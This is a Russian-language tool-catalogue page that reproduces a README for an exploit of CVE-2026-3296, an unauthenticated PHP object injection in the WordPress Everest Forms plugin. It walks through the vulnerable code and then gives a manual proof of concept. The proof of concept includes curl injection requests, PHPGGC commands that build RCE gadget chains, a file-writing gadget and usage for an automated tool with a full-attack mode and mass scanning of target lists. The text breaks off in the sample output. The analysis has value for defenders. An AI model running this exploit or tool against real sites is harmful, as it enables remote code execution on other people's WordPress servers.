Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-3296 — CVE-2026-3296 - критическая уязвимость неаутентифицированной PHP-инъекции объектов (CVSS 9.8) в плагине Everest Forms для WordPress | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-3296
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubxxconi/cve-2026-3296

CVE-2026-3296

CVE-2026-3296 - критическая уязвимость неаутентифицированной PHP-инъекции объектов (CVSS 9.8) в плагине Everest Forms для WordPress

Репозиторий
33 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-3296

CVE-2026-3296 — это критическая уязвимость PHP Object Injection с рейтингом CVSS 9.8 без аутентификации в плагине WordPress Everest Forms

CVE-2026-3296 — Everest Forms PHP Object Injection Scanner

Плагин: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder Идентификатор плагина: everest-forms Идентификатор CVE: CVE-2026-3296 Оценка CVSS: 9.8 (Critical) Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Тип уязвимости: Unauthenticated PHP Object Injection → RCE Затронутые версии: <= 3.4.3 Исправленная версия: 3.4.4 Дата публикации: 7 апреля 2026 Исследователь: 0xsabre — Mobikwik / Wordfence


📌 Об уязвимости

Плагин Everest Forms при отображении метаданных формы в панели администратора вызывает нативную PHP-функцию unserialize() без параметра allowed_classes.

Неаутентифицированный злоумышленник может внедрить сериализованный PHP-объект в любое публичное поле формы и сохранить его в базе данных. Когда запись просматривается в панели администратора, срабатывает unserialize(), и выполняется любая POP-цепочка (gadget chain), доступная в среде.


🔍 Сводка уязвимости

ПолеЗначение
CVE IDCVE-2026-3296
CVSS9.8 Critical
ТипPHP Object Injection (Deserialization of Untrusted Data)
Затронутая версия<= 3.4.3
Исправленная версия3.4.4
АутентификацияНе требуется (инъекция), Admin (триггер)
CWECWE-502: Deserialization of Untrusted Data

⚙️ Технический анализ

Двухфазная модель атаки

root@kitploit:~
ФАЗА 1 — ИНЪЕКЦИЯ (Аутентификация не требуется)
ФАЗА 2 — ТРИГГЕР (Просмотр в панели администратора)

Фаза 1 — Инъекция: Сохранение полезной нагрузки

Хук отправки формы (class-evf-form-task.php, строка 75)

root@kitploit:~
// Срабатывает при каждой загрузке страницы на фронтенде
add_action( 'wp', array( $this, 'listen_task' ) );
root@kitploit:~
// строка 109 — пользовательские данные обрабатываются после санитизации
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

Почему санитизация недостаточна (evf-core-functions.php, строка 4754)

root@kitploit:~
// sanitize_text_field() удаляет HTML-теги, нулевые байты
// НО НЕ удаляет символы PHP-сериализации (O:, s:, {, }, ;)
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

Эта полезная нагрузка полностью сохраняется после sanitize_text_field():

root@kitploit:~
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

Дополнительная ошибка — ранний return (строка 4764)

root@kitploit:~
// return $entry; находится ВНУТРИ цикла foreach
// → Санитизируется только первое поле, остальные поля остаются необработанными
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← ОШИБКА: цикл завершается на первой итерации
}

Запись в базу данных (class-evf-form-task.php, строка 1326)

root@kitploit:~
$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() не изменяет обычные строки
    // → Строка сериализованного объекта записывается дословно
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

Фаза 2 — Триггер: Небезопасная десериализация

Уязвимый код (html-admin-page-entries-view.php, строки 130–133)

root@kitploit:~
$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ Параметр allowed_classes ОТСУТСТВУЕТ
    // По умолчанию PHP: любые классы могут быть инстанциированы
    // → POP-цепочка срабатывает
}

Безопасная обертка существует, но не используется (evf-core-functions.php, строка 5594)

root@kitploit:~
// Эта функция уже существовала — её просто не вызывали
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Безопасно
        }
        return null;
    }
    return $data;
}

Почему nonce не обеспечивает защиту?

root@kitploit:~
<!-- Встроен в HTML публичной формы — доступен всем -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

Nonce обеспечивает защиту CSRF, а не аутентификацию. Злоумышленник может открыть страницу формы через GET, прочитать nonce, а затем отправить POST-запрос с полезной нагрузкой.


🔴 Полная цепочка атаки

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  ФАЗА 1 — ИНЪЕКЦИЯ (Unauthenticated)                        │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → сериализация сохранена     │
│       ├── maybe_serialize() → строка не изменена             │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Администратор выполняет рутинную проверку)
┌──────────────────────────▼───────────────────────────────────┐
│  ФАЗА 2 — ТРИГГЕР (Панель администратора)                   │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← УЯЗВИМОСТЬ           │
│       │   allowed_classes = (отсутствует) → все классы       │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘

🧪 Доказательство концепции (Вручную)

⚠️ Отказ от ответственности: Данный PoC предоставлен исключительно в образовательных и защитных исследовательских целях.

Предварительные условия:

  • Установлен и активен Everest Forms <= 3.4.3
  • Публичная страница формы
  • Доступ к панели администратора (для триггера)

Шаг 1 — Получение ID формы и Nonce

root@kitploit:~
TARGET="https://target-site.example.com/contact/"

# Извлечение ID формы
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# Извлечение nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

Шаг 2 — Создание безвредной тестовой полезной нагрузки

root@kitploit:~
# Безопасный тест — stdClass, магические методы отсутствуют
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

Для реальной среды создайте POP-цепочку с помощью PHPGGC:

root@kitploit:~
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s

# Monolog chain
phpggc Monolog/RCE1 system "id" -s

Шаг 3 — Инъекция полезной нагрузки

root@kitploit:~
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

Ожидаемый результат: сообщение об успешной отправке формы или перенаправление.


Шаг 4 — Проверка в базе данных (WP-CLI)

root@kitploit:~
wp db query \
  "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
  --allow-root
# Должна появиться строка O:8:"stdClass":2:{...}

Шаг 5 — Триггер от имени администратора

root@kitploit:~
https://target-site.example.com/wp-admin/admin.php
  ?page=evf-entries
  &form_id=123
  &view-entry=<ENTRY_ID>

При загрузке страницы выполняется unserialize().


Шаг 6 — Проверка цепочки гаджетов (тестовая среда)

root@kitploit:~
// test-gadget.php — ИСПОЛЬЗОВАТЬ ТОЛЬКО В ТЕСТОВОЙ СРЕДЕ
class TestGadget {
    public function __wakeup() {
        file_put_contents(
            '/tmp/pwned.txt',
            'PHP Object Injection confirmed at ' . date('c')
        );
    }
}
root@kitploit:~
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...

🛠️ Автоматический сканер

Установка

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Использование

Обнаружение уязвимости (безвредная полезная нагрузка)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan

Только инъекция (Фаза 1)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --payload-type probe

Полная атака (Фаза 1 + Фаза 2)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123!

Ручное указание ID формы и пользовательская полезная нагрузка

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --form-id 5 --field-name text_abc123 \
  --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'

Обнаружение с помощью OOB обратного вызова (Burp Collaborator)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan \
  --payload-type ssrf \
  --callback-url http://your.burp.collaborator.net

Массовое сканирование

root@kitploit:~
python everest_forms_poi.py -l targets.txt -t 10 \
  --mode scan -o sonuclar.txt

С прокси (Burp Suite)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ Параметры

Режим

РежимОписание
scanИнъекция безвредной полезной нагрузки — обнаружение уязвимости
injectТолько фаза 1 — сохранить полезную нагрузку
triggerТолько фаза 2 — выполнить триггер с правами администратора
fullФаза 1 + Фаза 2 — полная атака

Общие параметры

ПараметрКороткоОписаниеПо умолчанию
--url-uЦелевой URL—
--list-lФайл со списком целей—
--threads-tКоличество потоков5
--output-oФайл выводаpoi_results.txt
--proxy—URL прокси—
--force—Продолжить, если плагин не обнаруженFalse

Параметры формы

ПараметрОписаниеПо умолчанию
--form-idID формы CF7автоматическое определение
--form-urlURL страницы формыавтоматическое определение
--field-nameИмя целевого поляавтоматическое определение
--nonceЗначение nonce формыавтоматическое извлечение
--entry-idID записи (режим trigger)автоматическое определение

Параметры полезной нагрузки

ПараметрОписаниеПо умолчанию
--payload-typeТип полезной нагрузкиprobe
--custom-payloadПользовательская сериализованная строка—
--cmdКоманда для RCEid
--callback-urlURL обратного вызова OOB—

Учетные данные администратора

ПараметрОписание
--admin-userИмя пользователя администратора
--admin-passПароль администратора

💀 Типы полезных нагрузок

ТипОписаниеИспользование
probeБезвредный stdClass — без побочных эффектовОбнаружение уязвимости
file_writeЗапись файла (TestGadget)Проверка в тестовой среде
ssrfHTTP callback — обнаружение OOBBurp Collaborator
wp_rceЗаготовка POP-цепочки WordPressГенерация с PHPGGC
yoast_rceЗаготовка POP-цепочки Yoast SEOГенерация с PHPGGC
monolog_rceЗаготовка POP-цепочки MonologГенерация с PHPGGC

💡 Генерация реальной цепочки с PHPGGC:

root@kitploit:~
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s

# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s

# Список всех доступных цепочек
phpggc -l

📊 Состояния вывода сканера

СтатусОписание
★ PWNEDДесериализация сработала + полезная нагрузка выполнена
★ VULNПолезная нагрузка внедрена — уязвимость подтверждена
~ TRIGGEREDЗапись просмотрена — проверьте цепочку гаджетов вручную
- INJ_FAILИнъекция не удалась (исправлено / форма не найдена)
~ NO_FORMФорма Everest Forms не найдена
- NO_PLUGINПлагин не установлен
~ NO_CREDSОтсутствуют учетные данные администратора
- ADM_FAILВход администратора не удался
~ UNREACHЦель недоступна

🖥️ Пример вывода сканера

root@kitploit:~
[*] Цель         : http://hedef.com
[*] Режим        : full
[*] Тип нагрузки  : probe
[*] Команда      : id
[*] Пользователь : admin

[→] http://hedef.com  Шаг 1: Поиск формы Everest Forms...
[→] http://hedef.com  Шаг 2: Внедрение полезной нагрузки...
[→] http://hedef.com  Шаг 3: Выполнение входа администратора...
[→] http://hedef.com  Шаг 4: Поиск ID записи...
[→] http://hedef.com  Шаг 5: unser
Скачать инструмент